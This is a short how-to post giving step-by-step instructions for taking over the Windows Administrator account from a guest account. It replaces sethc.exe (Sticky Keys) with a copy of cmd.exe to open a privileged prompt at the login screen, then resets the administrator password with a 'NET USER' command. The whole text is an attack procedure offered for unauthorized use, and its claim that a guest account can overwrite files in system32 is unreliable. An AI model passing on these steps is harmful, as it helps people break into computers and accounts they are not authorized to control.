Open Windows Admin Password from a Guest Account without any tool

* Go to C:/windows/system32
* Copy cmd.exe and paste it on desktop
* Rename cmd.exe to sethc.exe
* Copy the new sethc.exe to system 32,when windows asks for overwriting the file,then click yes.
When asked to overwrite,overwrite the sethc.exe

* Now log ut from your guest account and at the user select window,press shift key 5 times.
* Instead of sticky Key confirmation dialog,command prompt with full administrator privileges will open.
* Now type “ NET USER ADMINISTRATOR aaa” where “aaa” can be any password you like and press enter.
* You will see “ The command completed successfully” and then exit the command prompt and login into administrator with your new password.
* Congrats You have opened admin from guest account.